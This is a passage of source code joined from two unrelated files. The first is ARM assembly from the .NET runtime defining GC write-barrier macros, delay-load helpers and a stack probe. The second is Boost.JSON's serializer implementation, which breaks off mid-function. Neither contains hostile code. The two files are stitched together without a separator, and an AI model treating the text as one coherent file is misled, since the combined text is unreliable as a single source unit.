; ; Secondly, for performance reasons we believe it's advantageous to be able to modify the barrier functions ; over the lifetime of the CLR. Specifically ARM has real problems reading the values of external globals (we ; need two memory indirections to do this) so we'd like to be able to directly set the current values of ; various GC globals (e.g. g_lowest_address and g_card_table) into the barrier code itself and then reset them ; every time they change (the GC already calls the VM to inform it of these changes). To handle this without ; creating too much fragility such as hardcoding instruction offsets in the VM update code, we wrap write ; barrier creation and GC globals access in a set of macros that create a table of descriptors describing each ; offset that must be patched. ; ; Many of the following macros need a scratch register. Define a name for it here so it's easy to modify this ; in the future. GBLS __wbscratch __wbscratch SETS "r3" ; ; First define the meta-macros used to support dynamically patching write barriers. ; ; WRITEBARRIERAREA ; ; As we assemble each write barrier function we build a descriptor for the offsets within that function ; that need to be patched at runtime. We write these descriptors into a read-only portion of memory. Use a ; specially-named linker section for this to ensure all the descriptors are contiguous and form a table. ; During the final link of the CLR this section should be merged into the regular read-only data section. ; ; This macro handles switching assembler output to the above section (similar to the TEXTAREA or ; RODATAAREA macros defined by kxarm.h). ; MACRO WRITEBARRIERAREA AREA |.clrwb|,DATA,READONLY MEND ; BEGIN_WRITE_BARRIERS ; ; This macro must be invoked before any write barriers are defined. It sets up and exports a symbol, ; g_rgWriteBarrierDescriptors, used by the VM to locate the start of the table describing the offsets in ; each write barrier that need to be modified dynamically. ; MACRO BEGIN_WRITE_BARRIERS ; Define a global boolean to track whether we're currently in a BEGIN_WRITE_BARRIERS section. This is ; used purely to catch incorrect attempts to define a write barrier outside the section. GBLL __defining_write_barriers __defining_write_barriers SETL {true} ; Switch to the descriptor table section. WRITEBARRIERAREA ; Define and export a symbol pointing to the start of the descriptor table. g_rgWriteBarrierDescriptors EXPORT g_rgWriteBarrierDescriptors ; Switch back to the code section. TEXTAREA MEND ; END_WRITE_BARRIERS ; ; This macro must be invoked after all write barriers have been defined. It finalizes the creation of the ; barrier descriptor table by writing a sentinel value at the end. ; MACRO END_WRITE_BARRIERS ASSERT __defining_write_barriers __defining_write_barriers SETL {false} ; Switch to the descriptor table section. WRITEBARRIERAREA ; Write the sentinel value to the end of the descriptor table (a function entrypoint address of zero). DCD 0 ; Switch back to the code section. TEXTAREA MEND ; WRITE_BARRIER_ENTRY ; ; Declare the start of a write barrier function. Use similarly to NESTED_ENTRY. This is the only legal way ; to declare a write barrier function. ; MACRO WRITE_BARRIER_ENTRY $name ; Ensure we're called inside a BEGIN_WRITE_BARRIERS section. ASSERT __defining_write_barriers ; Do the standard function declaration logic. Must use a NESTED_ENTRY since we require unwind info to ; be registered (for the case where the barrier AVs and the runtime needs to recover). LEAF_ENTRY $name ; Record the function name as it's used as the basis for unique label name creation in some of the ; macros below. GBLS __write_barrier_name __write_barrier_name SETS "$name" ; Declare globals to collect the values of the offsets of instructions that load GC global values. GBLA __g_lowest_address_offset GBLA __g_highest_address_offset GBLA __g_ephemeral_low_offset GBLA __g_ephemeral_high_offset GBLA __g_card_table_offset ; Initialize the above offsets to 0xffff. The default of zero is unsatisfactory because we could ; legally have an offset of zero and we need some way to distinguish unset values (both for debugging ; and because some write barriers don't use all the globals). __g_lowest_address_offset SETA 0xffff __g_highest_address_offset SETA 0xffff __g_ephemeral_low_offset SETA 0xffff __g_ephemeral_high_offset SETA 0xffff __g_card_table_offset SETA 0xffff MEND ; WRITE_BARRIER_END ; ; The partner to WRITE_BARRIER_ENTRY, used like NESTED_END. ; MACRO WRITE_BARRIER_END LTORG ; force the literal pool to be emitted here so that copy code picks it up ; Use the standard macro to end the function definition. LEAF_END_MARKED $__write_barrier_name ; Define a local string to hold the name of a label identifying the end of the write barrier function. LCLS __EndLabelName __EndLabelName SETS "$__write_barrier_name":CC:"_End" ; Switch to the descriptor table section. WRITEBARRIERAREA ; Emit the descripter for this write barrier. The order of these datums must be kept in sync with the ; definition of the WriteBarrierDescriptor structure in vm\arm\stubs.cpp. DCD $__write_barrier_name DCD $__EndLabelName DCD __g_lowest_address_offset DCD __g_highest_address_offset DCD __g_ephemeral_low_offset DCD __g_ephemeral_high_offset DCD __g_card_table_offset ; Switch back to the code section. TEXTAREA MEND ; LOAD_GC_GLOBAL ; ; Used any time we want to load the value of one of the supported GC globals into a register. This records ; the offset of the instructions used to do this (a movw/movt pair) so we can modify the actual value ; loaded at runtime. ; ; Note that a given write barrier can only load a given global once (which will be compile-time asserted ; below). ; MACRO LOAD_GC_GLOBAL $regName, $globalName ; Map the GC global name to the name of the variable tracking the offset for this function. LCLS __offset_name __offset_name SETS "__$globalName._offset" ; Ensure that we only attempt to load this global at most once in the current barrier function (we ; have this limitation purely because we only record one offset for each GC global). ASSERT $__offset_name == 0xffff ; Define a unique name for a label we're about to define used in the calculation of the current ; function offset. LCLS __offset_label_name __offset_label_name SETS "$__write_barrier_name$__offset_name" ; Define the label. $__offset_label_name ; Write the current function offset into the tracking variable. $__offset_name SETA ($__offset_label_name - $__FuncStartLabel) ; Emit the instructions which will be patched to provide the value of the GC global (we start with a ; value of zero, so the write barriers have to be patched at least once before first use). movw $regName, #0 movt $regName, #0 MEND ; ; Now define the macros used in the bodies of write barrier implementations. ; ; UPDATE_GC_SHADOW ; ; Update the GC shadow heap to aid debugging (no-op unless WRITE_BARRIER_CHECK is defined). Assumes the ; location being written lies on the GC heap (either we've already performed the dynamic check or this is ; statically asserted by the JIT by calling the unchecked version of the write barrier). ; ; Input: ; $ptrReg : register containing the location (in the real heap) to be updated ; $valReg : register containing the value (an objref) to be written to the location above ; ; Output: ; $__wbscratch : trashed ; MACRO UPDATE_GC_SHADOW $ptrReg, $valReg #ifdef WRITE_BARRIER_CHECK ; Need one additional temporary register to hold the shadow pointer. Assume r7 is OK for now (and ; assert it). If this becomes a problem in the future the register choice can be parameterized. LCLS pShadow pShadow SETS "r7" ASSERT "$ptrReg" != "$pShadow" ASSERT "$valReg" != "$pShadow" push {$pShadow} ; Compute address of shadow heap location: ; pShadow = g_GCShadow + ($ptrReg - g_lowest_address) ldr $__wbscratch, =g_lowest_address ldr $__wbscratch, [$__wbscratch] sub $pShadow, $ptrReg, $__wbscratch ldr $__wbscratch, =$g_GCShadow ldr $__wbscratch, [$__wbscratch] add $pShadow, $__wbscratch ; if (pShadow >= g_GCShadow) goto end ldr $__wbscratch, =$g_GCShadowEnd ldr $__wbscratch, [$__wbscratch] cmp $pShadow, $__wbscratch bhs %FT0 ; *pShadow = $valReg str $valReg, [$pShadow] ; Ensure that the write to the shadow heap occurs before the read from the GC heap so that race ; conditions are caught by INVALIDGCVALUE. dmb ; if (*$ptrReg == $valReg) goto end ldr $__wbscratch, [$ptrReg] cmp $__wbscratch, $valReg beq %FT0 ; *pShadow = INVALIDGCVALUE (0xcccccccd) movw $__wbscratch, #0xcccd movt $__wbscratch, #0xcccc str $__wbscratch, [$pShadow] 0 pop {$pShadow} #endif // WRITE_BARRIER_CHECK MEND ; UPDATE_CARD_TABLE ; ; Update the card table as necessary (if the object reference being assigned in the barrier refers to an ; object in the ephemeral generation). Otherwise this macro is a no-op. Assumes the location being written ; lies on the GC heap (either we've already performed the dynamic check or this is statically asserted by ; the JIT by calling the unchecked version of the write barrier). ; ; Additionally this macro can produce a uni-proc or multi-proc variant of the code. This governs whether ; we bother to check if the card table has been updated before making our own update (on an MP system it ; can be helpful to perform this check to avoid cache line thrashing, on an SP system the code path length ; is more important). ; ; Input: ; $ptrReg : register containing the location to be updated ; $valReg : register containing the value (an objref) to be written to the location above ; $mp : boolean indicating whether the code will run on an MP system ; $postGrow : boolean: {true} for post-grow version, {false} otherwise ; $tmpReg : additional register that can be trashed (can alias $ptrReg or $valReg if needed) ; ; Output: ; $tmpReg : trashed (defaults to $ptrReg) ; $__wbscratch : trashed ; MACRO UPDATE_CARD_TABLE $ptrReg, $valReg, $mp, $postGrow, $tmpReg ASSERT "$ptrReg" != "$__wbscratch" ASSERT "$valReg" != "$__wbscratch" ASSERT "$tmpReg" != "$__wbscratch" ; In most cases the callers of this macro are fine with scratching $ptrReg, the exception being the ; ref write barrier, which wants to scratch $valReg instead. Ideally we could set $ptrReg as the ; default for the $tmpReg parameter, but limitations in armasm won't allow that. Similarly it doesn't ; seem to like us trying to redefine $tmpReg in the body of the macro. Instead we define a new local ; string variable and set that either with the value of $tmpReg or $ptrReg if $tmpReg wasn't ; specified. LCLS tempReg IF "$tmpReg" == "" tempReg SETS "$ptrReg" ELSE tempReg SETS "$tmpReg" ENDIF ; Check whether the value object lies in the ephemeral generations. If not we don't have to update the ; card table. LOAD_GC_GLOBAL $__wbscratch, g_ephemeral_low cmp $valReg, $__wbscratch blo %FT0 ; Only in post grow higher generation can be beyond ephemeral segment IF $postGrow LOAD_GC_GLOBAL $__wbscratch, g_ephemeral_high cmp $valReg, $__wbscratch bhs %FT0 ENDIF ; Update the card table. LOAD_GC_GLOBAL $__wbscratch, g_card_table add $__wbscratch, $__wbscratch, $ptrReg, lsr #10 ; On MP systems make sure the card hasn't already been set first to avoid thrashing cache lines ; between CPUs. ; @ARMTODO: Check that the conditional store doesn't unconditionally gain exclusive access to the ; cache line anyway. Compare perf with a branch over and verify that omitting the compare on uniproc ; machines really is a perf win. IF $mp ldrb $tempReg, [$__wbscratch] cmp $tempReg, #0xff movne $tempReg, #0xff strbne $tempReg, [$__wbscratch] ELSE mov $tempReg, #0xff strb $tempReg, [$__wbscratch] ENDIF 0 MEND ; CHECK_GC_HEAP_RANGE ; ; Verifies that the given value points into the GC heap range. If so the macro will fall through to the ; following code. Otherwise (if the value points outside the GC heap) a branch to the supplied label will ; be made. ; ; Input: ; $ptrReg : register containing the location to be updated ; $label : label branched to on a range check failure ; ; Output: ; $__wbscratch : trashed ; MACRO CHECK_GC_HEAP_RANGE $ptrReg, $label ASSERT "$ptrReg" != "$__wbscratch" LOAD_GC_GLOBAL $__wbscratch, g_lowest_address cmp $ptrReg, $__wbscratch blo $label LOAD_GC_GLOBAL $__wbscratch, g_highest_address cmp $ptrReg, $__wbscratch bhs $label MEND ; ; Finally define the write barrier functions themselves. Currently we don't provide variations that use ; different input registers. If the JIT wants this at a later stage in order to improve code quality it would ; be a relatively simple change to implement via an additional macro parameter to WRITE_BARRIER_ENTRY. ; ; The calling convention for the first batch of write barriers is: ; ; On entry: ; r0 : the destination address (LHS of the assignment) ; r1 : the object reference (RHS of the assignment) ; ; On exit: ; r0 : trashed ; $__wbscratch : trashed ; ; If you update any of the writebarrier be sure to update the sizes of patchable ; writebarriers in ; see ValidateWriteBarriers() ; The write barriers are macro taking arguments like ; $name: Name of the write barrier ; $mp: {true} for multi-proc, {false} otherwise ; $post: {true} for post-grow version, {false} otherwise MACRO JIT_WRITEBARRIER $name, $mp, $post WRITE_BARRIER_ENTRY $name IF $mp dmb ; Perform a memory barrier ENDIF str r1, [r0] ; Write the reference UPDATE_GC_SHADOW r0, r1 ; Update the shadow GC heap for debugging UPDATE_CARD_TABLE r0, r1, $mp, $post ; Update the card table if necessary bx lr WRITE_BARRIER_END MEND MACRO JIT_CHECKEDWRITEBARRIER_SP $name, $post WRITE_BARRIER_ENTRY $name str r1, [r0] ; Write the reference CHECK_GC_HEAP_RANGE r0, %F1 ; Check whether the destination is in the GC heap UPDATE_GC_SHADOW r0, r1 ; Update the shadow GC heap for debugging UPDATE_CARD_TABLE r0, r1, {false}, $post; Update the card table if necessary 1 bx lr WRITE_BARRIER_END MEND MACRO JIT_CHECKEDWRITEBARRIER_MP $name, $post WRITE_BARRIER_ENTRY $name CHECK_GC_HEAP_RANGE r0, %F1 ; Check whether the destination is in the GC heap dmb ; Perform a memory barrier str r1, [r0] ; Write the reference UPDATE_GC_SHADOW r0, r1 ; Update the shadow GC heap for debugging UPDATE_CARD_TABLE r0, r1, {true}, $post ; Update the card table if necessary bx lr 1 str r1, [r0] ; Write the reference bx lr WRITE_BARRIER_END MEND ; The ByRef write barriers have a slightly different interface: ; ; On entry: ; r0 : the destination address (object reference written here) ; r1 : the source address (points to object reference to write) ; ; On exit: ; r0 : incremented by 4 ; r1 : incremented by 4 ; r2 : trashed ; $__wbscratch : trashed ; MACRO JIT_BYREFWRITEBARRIER $name, $mp, $post WRITE_BARRIER_ENTRY $name IF $mp dmb ; Perform a memory barrier ENDIF ldr r2, [r1] ; Load target object ref from source pointer str r2, [r0] ; Write the reference to the destination pointer CHECK_GC_HEAP_RANGE r0, %F1 ; Check whether the destination is in the GC heap UPDATE_GC_SHADOW r0, r2 ; Update the shadow GC heap for debugging UPDATE_CARD_TABLE r0, r2, $mp, $post, r2 ; Update the card table if necessary (trash r2 rather than r0) 1 add r0, #4 ; Increment the destination pointer by 4 add r1, #4 ; Increment the source pointer by 4 bx lr WRITE_BARRIER_END MEND BEGIN_WRITE_BARRIERS ; There 4 versions of each write barriers. A 2x2 combination of multi-proc/single-proc and pre/post grow version JIT_WRITEBARRIER JIT_WriteBarrier_SP_Pre, {false}, {false} JIT_WRITEBARRIER JIT_WriteBarrier_SP_Post, {false}, {true} JIT_WRITEBARRIER JIT_WriteBarrier_MP_Pre, {true}, {false} JIT_WRITEBARRIER JIT_WriteBarrier_MP_Post, {true}, {true} JIT_CHECKEDWRITEBARRIER_SP JIT_CheckedWriteBarrier_SP_Pre, {false} JIT_CHECKEDWRITEBARRIER_SP JIT_CheckedWriteBarrier_SP_Post, {true} JIT_CHECKEDWRITEBARRIER_MP JIT_CheckedWriteBarrier_MP_Pre, {false} JIT_CHECKEDWRITEBARRIER_MP JIT_CheckedWriteBarrier_MP_Post, {true} JIT_BYREFWRITEBARRIER JIT_ByRefWriteBarrier_SP_Pre, {false}, {false} JIT_BYREFWRITEBARRIER JIT_ByRefWriteBarrier_SP_Post, {false}, {true} JIT_BYREFWRITEBARRIER JIT_ByRefWriteBarrier_MP_Pre, {true}, {false} JIT_BYREFWRITEBARRIER JIT_ByRefWriteBarrier_MP_Post, {true}, {true} END_WRITE_BARRIERS #ifdef FEATURE_READYTORUN NESTED_ENTRY DelayLoad_MethodCall_FakeProlog ; Match what the lazy thunk has pushed. The actual method arguments will be spilled later. PROLOG_PUSH {r1-r3} ; This is where execution really starts. DelayLoad_MethodCall EXPORT DelayLoad_MethodCall PROLOG_PUSH {r0} PROLOG_WITH_TRANSITION_BLOCK 0x0, {true}, DoNotPushArgRegs ; Load the helper arguments ldr r5, [sp,#(__PWTB_TransitionBlock+10*4)] ; pModule ldr r6, [sp,#(__PWTB_TransitionBlock+11*4)] ; sectionIndex ldr r7, [sp,#(__PWTB_TransitionBlock+12*4)] ; indirection ; Spill the actual method arguments str r1, [sp,#(__PWTB_TransitionBlock+10*4)] str r2, [sp,#(__PWTB_TransitionBlock+11*4)] str r3, [sp,#(__PWTB_TransitionBlock+12*4)] add r0, sp, #__PWTB_TransitionBlock ; pTransitionBlock mov r1, r7 ; pIndirection mov r2, r6 ; sectionIndex mov r3, r5 ; pModule bl ExternalMethodFixupWorker ; mov the address we patched to in R12 so that we can tail call to it mov r12, r0 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL ; Share the patch label EPILOG_BRANCH ExternalMethodFixupPatchLabel NESTED_END MACRO DynamicHelper $frameFlags, $suffix GBLS __FakePrologName __FakePrologName SETS "DelayLoad_Helper":CC:"$suffix":CC:"_FakeProlog" NESTED_ENTRY $__FakePrologName ; Match what the lazy thunk has pushed. The actual method arguments will be spilled later. PROLOG_PUSH {r1-r3} GBLS __RealName __RealName SETS "DelayLoad_Helper":CC:"$suffix" ; This is where execution really starts. $__RealName EXPORT $__RealName PROLOG_PUSH {r0} PROLOG_WITH_TRANSITION_BLOCK 0x4, {false}, DoNotPushArgRegs ; Load the helper arguments ldr r5, [sp,#(__PWTB_TransitionBlock+10*4)] ; pModule ldr r6, [sp,#(__PWTB_TransitionBlock+11*4)] ; sectionIndex ldr r7, [sp,#(__PWTB_TransitionBlock+12*4)] ; indirection ; Spill the actual method arguments str r1, [sp,#(__PWTB_TransitionBlock+10*4)] str r2, [sp,#(__PWTB_TransitionBlock+11*4)] str r3, [sp,#(__PWTB_TransitionBlock+12*4)] add r0, sp, #__PWTB_TransitionBlock ; pTransitionBlock mov r1, r7 ; pIndirection mov r2, r6 ; sectionIndex mov r3, r5 ; pModule mov r4, $frameFlags str r4, [sp,#0] bl DynamicHelperWorker cbnz r0, %FT0 ldr r0, [sp,#(__PWTB_TransitionBlock+9*4)] ; The result is stored in the argument area of the transition block EPILOG_WITH_TRANSITION_BLOCK_RETURN 0 mov r12, r0 EPILOG_WITH_TRANSITION_BLOCK_TAILCALL EPILOG_BRANCH_REG r12 NESTED_END MEND DynamicHelper DynamicHelperFrameFlags_Default DynamicHelper DynamicHelperFrameFlags_ObjectArg, _Obj DynamicHelper DynamicHelperFrameFlags_ObjectArg | DynamicHelperFrameFlags_ObjectArg2, _ObjObj #endif // FEATURE_READYTORUN ;;----------------------------------------------------------------------------- ;; The following helper will access ("probe") a word on each page of the stack ;; starting with the page right beneath sp down to the one pointed to by r4. ;; The procedure is needed to make sure that the "guard" page is pushed down below the allocated stack frame. ;; The call to the helper will be emitted by JIT in the function/funclet prolog when large (larger than 0x3000 bytes) stack frame is required. ;;----------------------------------------------------------------------------- ; On entry: ; r4 - points to the lowest address on the stack frame being allocated (i.e. [InitialSp - FrameSize]) ; sp - points to some byte on the last probed page ; On exit: ; r4 - is preserved ; r5 - is not preserved ; ; NOTE: this helper will probe at least one page below the one pointed to by sp. #define PAGE_SIZE_LOG2 12 NESTED_ENTRY JIT_StackProbe PROLOG_PUSH {r7} PROLOG_STACK_SAVE r7 mov r5, sp ; r5 points to some byte on the last probed page bfc r5, #0, #PAGE_SIZE_LOG2 ; r5 points to the **lowest address** on the last probed page mov sp, r5 ProbeLoop ; Immediate operand for the following instruction can not be greater than 4095. sub sp, #(PAGE_SIZE - 4) ; sp points to the **fourth** byte on the **next page** to probe ldr r5, [sp, #-4]! ; sp points to the lowest address on the **last probed** page cmp sp, r4 bhi ProbeLoop ; if (sp > r4), then we need to probe at least one more page. EPILOG_STACK_RESTORE r7 EPILOG_POP {r7} EPILOG_BRANCH_REG lr NESTED_END ; Must be at very end of file END
// // Copyright (c) 2019 Vinnie Falco (vinnie.falco@gmail.com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // // Official repository: https://github.com/vinniefalco/json // #ifndef BOOST_JSON_IMPL_SERIALIZER_IPP #define BOOST_JSON_IMPL_SERIALIZER_IPP #include <boost/json/serializer.hpp> #include <boost/json/detail/format.hpp> #include <boost/json/detail/sse2.hpp> #include <ostream> #ifdef _MSC_VER #pragma warning(push) #pragma warning(disable: 4127) // conditional expression is constant #endif namespace boost { namespace json { enum class serializer::state : char { nul1, nul2, nul3, nul4, tru1, tru2, tru3, tru4, fal1, fal2, fal3, fal4, fal5, str1, str2, str3, str4, esc1, utf1, utf2, utf3, utf4, utf5, num, arr1, arr2, arr3, arr4, obj1, obj2, obj3, obj4, obj5, obj6 }; //---------------------------------------------------------- bool serializer:: suspend(state st) { st_.push(st); return false; } bool serializer:: suspend( state st, array::const_iterator it, value const* jv) { st_.push(jv); st_.push(it); st_.push(st); return false; } bool serializer:: suspend( state st, object::const_iterator it, value const* jv) { st_.push(jv); st_.push(it); st_.push(st); return false; } template<bool StackEmpty> bool serializer:: write_null(stream& ss0) { local_stream ss(ss0); if(! StackEmpty && ! st_.empty()) { state st; st_.pop(st); switch(st) { default: case state::nul1: goto do_nul1; case state::nul2: goto do_nul2; case state::nul3: goto do_nul3; case state::nul4: goto do_nul4; } } do_nul1: if(BOOST_JSON_LIKELY(ss)) ss.append('n'); else return suspend(state::nul1); do_nul2: if(BOOST_JSON_LIKELY(ss)) ss.append('u'); else return suspend(state::nul2); do_nul3: if(BOOST_JSON_LIKELY(ss)) ss.append('l'); else return suspend(state::nul3); do_nul4: if(BOOST_JSON_LIKELY(ss)) ss.append('l'); else return suspend(state::nul4); return true; } template<bool StackEmpty> bool serializer:: write_true(stream& ss0) { local_stream ss(ss0); if(! StackEmpty && ! st_.empty()) { state st; st_.pop(st); switch(st) { default: case state::tru1: goto do_tru1; case state::tru2: goto do_tru2; case state::tru3: goto do_tru3; case state::tru4: goto do_tru4; } } do_tru1: if(BOOST_JSON_LIKELY(ss)) ss.append('t'); else return suspend(state::tru1); do_tru2: if(BOOST_JSON_LIKELY(ss)) ss.append('r'); else return suspend(state::tru2); do_tru3: if(BOOST_JSON_LIKELY(ss)) ss.append('u'); else return suspend(state::tru3); do_tru4: if(BOOST_JSON_LIKELY(ss)) ss.append('e'); else return suspend(state::tru4); return true; } template<bool StackEmpty> bool serializer:: write_false(stream& ss0) { local_stream ss(ss0); if(! StackEmpty && ! st_.empty()) { state st; st_.pop(st); switch(st) { default: case state::fal1: goto do_fal1; case state::fal2: goto do_fal2; case state::fal3: goto do_fal3; case state::fal4: goto do_fal4; case state::fal5: goto do_fal5; } } do_fal1: if(BOOST_JSON_LIKELY(ss)) ss.append('f'); else return suspend(state::fal1); do_fal2: if(BOOST_JSON_LIKELY(ss)) ss.append('a'); else return suspend(state::fal2); do_fal3: if(BOOST_JSON_LIKELY(ss)) ss.append('l'); else return suspend(state::fal3); do_fal4: if(BOOST_JSON_LIKELY(ss)) ss.append('s'); else return suspend(state::fal4); do_fal5: if(BOOST_JSON_LIKELY(ss)) ss.append('e'); else return suspend(state::fal5); return true; } template<bool StackEmpty> bool serializer:: write_string(stream& ss0) { local_stream ss(ss0); local_const_stream cs(cs0_); if(! StackEmpty && ! st_.empty()) { state st; st_.pop(st); switch(st) { default: case state::str1: goto do_str1; case state::str2: goto do_str2; case state::str3: goto do_str3; case state::str4: goto do_str4; case state::esc1: goto do_esc1; case state::utf1: goto do_utf1; case state::utf2: goto do_utf2; case state::utf3: goto do_utf3; case state::utf4: goto do_utf4; case state::utf5: goto do_utf5; } } static constexpr char hex[] = "0123456789abcdef"; static constexpr char esc[] = "uuuuuuuubtnufruuuuuuuuuuuuuuuuuu" "\0\0\"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\\\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; // opening quote do_str1: if(BOOST_JSON_LIKELY(ss)) ss.append('\x22'); // '"' else return suspend(state::str1); // fast loop, // copy unescaped do_str2: if(BOOST_JSON_LIKELY(ss)) { std::size_t n = cs.remain(); if(BOOST_JSON_LIKELY(n > 0)) { if(ss.remain() > n) n = detail::count_unescaped( cs.data(), n); else n = detail::count_unescaped( cs.data(), ss.remain()); if(n > 0) { ss.append(cs.data(), n); cs.skip(n); if(! ss) return suspend(state::str2); } } else { ss.append('\x22'); // '"' return true; } } else { return suspend(state::str2); } // slow loop, // handle escapes do_str3: while(BOOST_JSON_LIKELY(ss)) { if(BOOST_JSON_LIKELY(cs)) { auto const ch = *cs; auto const c = esc[static_cast< unsigned char>(ch)]; ++cs; if(! c) { ss.append(ch); } else if(c != 'u') { ss.append('\\'); if(BOOST_JSON_LIKELY(ss)) { ss.append(c); } else { buf_[0] = c; return suspend( state::esc1); } } else { if(BOOST_JSON_LIKELY( ss.remain() >= 6)) { ss.append("\\u00", 4); ss.append(hex[static_cast< unsigned char>(ch) >> 4]); ss.append(hex[static_cast< unsigned char>(ch) & 15]); } else { ss.append('\\'); buf_[0] = hex[static_cast< unsigned char>(ch) >> 4]; buf_[1] = hex[static_cast< unsigned char>(ch) & 15]; goto do_utf1; } } } else { ss.append('\x22'); // '"' return true; } } return suspend(state::str3); do_str4: if(BOOST_JSON_LIKELY(ss)) ss.append('\x22'); // '"' else return suspend(state::str4); do_esc1: if(BOOST_JSON_LIKELY(ss)) ss.append(buf_[0]); else return suspend(state::esc1); goto do_str3; do_utf1: if(BOOST_JSON_LIKELY(ss)) ss.append('u'); else return suspend(state::utf1); do_utf2: if(BOOST_JSON_LIKELY(ss)) ss.append('0'); else return suspend(state::utf2); do_utf3: if(BOOST_JSON_LIKELY(ss)) ss.append('0'); else return suspend(state::utf3); do_utf4: if(BOOST_JSON_LIKELY(ss)) ss.append(buf_[0]); else return suspend(state::utf4); do_utf5: if(BOOST_JSON_LIKELY(ss)) ss.append(buf_[1]); else return suspend(state::utf5); goto do_str3; } template<bool StackEmpty> bool serializer:: write_number(stream& ss0) { local_stream ss(ss0); if(StackEmpty || st_.empty()) { switch(jv_->kind()) { default: case kind::int64: if(BOOST_JSON_LIKELY( ss.remain() >= detail::max_number_chars)) { ss.advance(detail::format_int64( ss.data(), jv_->get_int64())); return true; } cs0_ = { buf_, detail::format_int64( buf_, jv_->get_int64()) }; break; case kind::uint64: if(BOOST_JSON_LIKELY( ss.remain() >= detail::max_number_chars)) { ss.advance(detail::format_uint64( ss.data(), jv_->get_uint64())); return true; } cs0_ = { buf_, detail::format_uint64( buf_, jv_->get_uint64()) }; break; case kind::double_: if(BOOST_JSON_LIKELY( ss.remain() >= detail::max_number_chars)) { ss.advance(detail::format_double( ss.data(), jv_->get_double())); return true; } cs0_ = { buf_, detail::format_double( buf_, jv_->get_double()) }; break; } } else { state st; st_.pop(st); BOOST_ASSERT( st == state::num); } auto const n = ss.remain(); if(n < cs0_.remain()) { ss.append(cs0_.data(), n); cs0_.skip(n); return suspend(state::num); } ss.append( cs0_.data(), cs0_.remain()); return true; } template<bool StackEmpty> bool serializer:: write_array(stream& ss0) { value const* jv; local_stream ss(ss0); array::const_iterator it; array::const_iterator end; if(StackEmpty || st_.empty()) { jv = jv_; it = jv->get_array().begin(); end = jv->get_array().end(); } else { state st; st_.pop(st); st_.pop(it); st_.pop(jv); end = jv->get_array().end(); switch(st) { default: case state::arr1: goto do_arr1; case state::arr2: goto do_arr2; case state::arr3: goto do_arr3; case state::arr4: goto do_arr4; break; } } do_arr1: if(BOOST_JSON_LIKELY(ss)) ss.append('['); else return suspend( state::arr1, it, jv); if(it == end) goto do_arr4; for(;;) { do_arr2: jv_ = &*it; if(! write_value<StackEmpty>(ss)) return suspend( state::arr2, it, jv); if(BOOST_JSON_UNLIKELY( ++it == end)) break; do_arr3: if(BOOST_JSON_LIKELY(ss)) ss.append(','); else return suspend( state::arr3, it, jv); } do_arr4: if(BOOST_JSON_LIKELY(ss)) ss.append(']'); else return suspend( state::arr4, it, jv); return true; } template<bool StackEmpty> bool serializer:: write_object(stream& ss0) { value const* jv; local_stream ss(ss0); object::const_iterator it; object::const_iterator end; if(StackEmpty || st_.empty()) { jv = jv_; it = jv->get_object().begin(); end = jv->get_object().end(); } else { state st; st_.pop(st); st_.pop(it); st_.pop(jv); end = jv->get_object().end(); switch(st) { default: case state::obj1: goto do_obj1; case state::obj2: goto do_obj2; case state::obj3: goto do_obj3; case state::obj4: goto do_obj4; case state::obj5: goto do_obj5; case state::obj6: goto do_obj6; break; } } do_obj1: if(BOOST_JSON_LIKELY(ss)) ss.append('{'); else return suspend( state::obj1, it, jv); if(BOOST_JSON_UNLIKELY( it == end)) goto do_obj6; for(;;) { cs0_ = { it->key().data(), it->key().size() }; do_obj2: if(BOOST_JSON_UNLIKELY( ! write_string<StackEmpty>(ss))) return suspend( state::obj2, it, jv); do_obj3: if(BOOST_JSON_LIKELY(ss)) ss.append(':'); else return suspend( state::obj3, it, jv); do_obj4: jv_ = &it->value(); if(BOOST_JSON_UNLIKELY( ! write_value<StackEmpty>(ss))) return suspend( state::obj4, it, jv); ++it; if(BOOST_JSON_UNLIKELY(it == end)) break; do_obj5: if(BOOST_JSON_LIKELY(ss)) ss.append(','); else return suspend( state::obj5, it, jv); } do_obj6: if(BOOST_JSON_LIKELY(ss)) { ss.append('}'); return true; } return suspend( state::obj6, it, jv); } template<bool StackEmpty> bool serializer:: write_value(stream& ss) { if(StackEmpty || st_.empty()) { auto const& jv(*jv_); switch(jv.kind()) { default: case kind::object: return write_object<true>(ss); case kind::array: return write_array<true>(ss); case kind::string: { auto const& js = jv.get_string(); cs0_ = { js.data(), js.size() }; return write_string<true>(ss); } case kind::int64: case kind::uint64: case kind::double_: return write_number<true>(ss); case kind::bool_: if(jv.get_bool()) { if(BOOST_JSON_LIKELY( ss.remain() >= 4)) { ss.append("true", 4); return true; } return write_true<true>(ss); } else { if(BOOST_JSON_LIKELY( ss.remain() >= 5)) { ss.append("false", 5); return true; } return write_false<true>(ss); } case kind::null: if(BOOST_JSON_LIKELY( ss.remain() >= 4)) { ss.append("null", 4); return true; } return write_null<true>(ss); } } else { state st; st_.peek(st); switch(st) { default: case state::nul1: case state::nul2: case state::nul3: case state::nul4: return write_null<StackEmpty>(ss); case state::tru1: case state::tru2: case state::tru3: case state::tru4: return write_true<StackEmpty>(ss); case state::fal1: case state::fal2: case state::fal3: case state::fal4: case state::fal5: return write_false<StackEmpty>(ss); case state::str1: case state::str2: case state::str3: case state::str4: case state::esc1: case state::utf1: case state::utf2: case state::utf3: case state::utf4: case state::utf5: return write_string<StackEmpty>(ss); case state::num: return write_number<StackEmpty>(ss); case state::arr1: case state::arr2: case state::arr3: case state::arr4: return write_array<StackEmpty>(ss); case state::obj1: case state::obj2: case state::obj3: case state::obj4: case 